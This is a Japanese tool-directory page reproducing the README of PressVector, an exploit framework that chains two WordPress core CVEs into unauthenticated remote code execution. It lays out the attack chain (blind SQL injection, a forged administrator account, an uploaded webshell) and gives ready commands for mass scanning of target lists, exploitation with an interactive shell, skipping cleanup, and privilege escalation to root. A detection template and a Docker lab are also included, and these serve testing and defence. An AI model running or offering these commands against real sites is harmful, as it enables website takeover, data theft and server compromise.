Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PressVector — PressVector - 高度なWordPress脆弱性スキャナー CVE-2026-63030(RESTバッチルート混乱)/ CVE-2026-60137(SQLi)開発者: Vulnquest | Kitploit
ツール/GitHubGitHub/vulnquest58/pressvector
偵察脆弱性スキャナーウェブ脆弱性スキャナー情報収集ウェブセキュリティペネトレーションテスト
GitHubvulnquest58/pressvector

PressVector

PressVector - 高度なWordPress脆弱性スキャナー CVE-2026-63030(RESTバッチルート混乱)/ CVE-2026-60137(SQLi)開発者: Vulnquest

リポジトリを見る
11333ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 エクスプロイトフレームワーク

⚡ WordPress コア向けの高度な認証前 RCE およびブラインド SQLi エクスプロイトフレームワーク


📌 概要

PressVector は、CVE-2026-63030 と CVE-2026-60137 を標的とした包括的かつ完全自動化されたエクスプロイトフレームワークです。これらは WordPress コア に存在する 2 つの重大な脆弱性であり、組み合わせることで未認証のリモートコード実行を可能にします。

本フレームワークは、REST バッチルート混同とブラインド SQL インジェクションを連鎖させ、管理者セッションを偽造し、ウェブシェルを展開し、任意の OS コマンドを実行します — そのすべてを認証情報なしで行います。

⚠️ 認可されたセキュリティテストおよび教育目的にのみ使用してください。


🔍 CVE-2026-63030 (wp2shell) とは?

CVE-2026-63030 は、Adam Kues (Assetnote / Searchlight Cyber) によって発見された、WordPress コアの重大な認証前 RCE 脆弱性です。このエクスプロイトは 2 つの独立した脆弱性を連鎖させます:

CVEアドバイザリ種類影響
CVE-2026-63030GHSA-ff9f-jf42-662qREST バッチルート混同認証前 RCE
CVE-2026-60137GHSA-fpp7-x2x2-2mjfauthor__not_in SQL インジェクション認証前ブラインド SQLi

💥 エクスプロイトチェーン

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 影響を受けるバージョン

WordPress バージョン該当する CVE影響ステータス
6.8.0 – 6.8.5CVE-2026-60137🟡 ブラインド SQLi (高)❌ 脆弱
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 認証前 RCE (重大)❌ 脆弱
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 認証前 RCE (重大)❌ 脆弱
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (高)❌ 脆弱
6.8.6+ / 6.9.5+ / 7.0.2+—✅ 修正済み✅ 安全

📦 インストール

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ 収録ツール

1️⃣ pressvector.py — メインエクスプロイトフレームワーク

4つの動作モードを備えたフル機能のエクスプロイトフレームワーク。

🔎 scan — マルチターゲット脆弱性スキャナー

大規模に脆弱なWordPressインストールを検出するための、高速でマルチスレッド対応のスキャナー。

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — ブラインドSQLiの確認

タイミング調整を用いて、単一のターゲットで時間ベースのブラインドSQLインジェクションを確認します。

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — 完全なRCEエクスプロイトチェーン

完全なエクスプロイト: 管理者偽造 → webshell配備 → コマンド実行。

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — 権限昇格

RCE の達成後にローカル権限昇格を試みます。

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Nuclei 検出テンプレート

大規模なパッシブ検出向けの実運用可能な Nuclei テンプレートです。

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

テンプレートの機能:

  • 🔍 マルチソースのバージョン検出(meta generator + RSS フィードのフォールバック)
  • 📡 REST API 名前空間のフィンガープリンティング
  • 🎯 バッチルートのアクセシビリティプロービング
  • 📋 動的出力: バージョン、CVE タイプ、攻撃ベクトル

🧪 ラボ環境(Docker)

これらの脆弱性を安全かつ分離された環境でテストするための、完全自動化されたコンテナ化ペネトレーションテストラボが含まれています。

クイックスタート

Windows(PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(初回実行時は、WP-CLIインストーラーがすべてのWordPressサイトを自動的にセットアップするまで約60〜90秒お待ちください)。

ラボサービスとポート

ポートサービスWordPressバージョン脆弱性 / ステータス
8080ターゲット16.8.5CVE-2026-60137(ブラインドSQLiのみ) 🔴
8081ターゲット26.9.4CVE-2026-63030(認証前RCE) 🔴
8082ターゲット37.0.1CVE-2026-63030(認証前RCE) 🔴
8083リファレンス最新パッチ適用済み / 安全なリファレンス ✅
8084PHPMyAdmin—DB管理ツール
8085ラボダッシュボード—ターゲットのステータスとコピー可能なコマンドを表示するWeb UI 🖥️

管理者認証情報: admin / admin123
MySQL Rootパスワード: root

検証と自動テスト

自動テストスイートを使用して、ラボ全体の状態とエクスプロイトパスを検証できます:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

ラボ制御コマンド

  • ラボを停止(データを保持): stop-lab.sh または .\stop-lab.ps1 を実行
  • ラボをリセット(データを消去してビルドをクリーン): reset-lab.sh または .\reset-lab.ps1 を実行

より高度な手順とトラブルシューティングについては、Lab README を参照してください。


🏗️ アーキテクチャ

ツールをダウンロード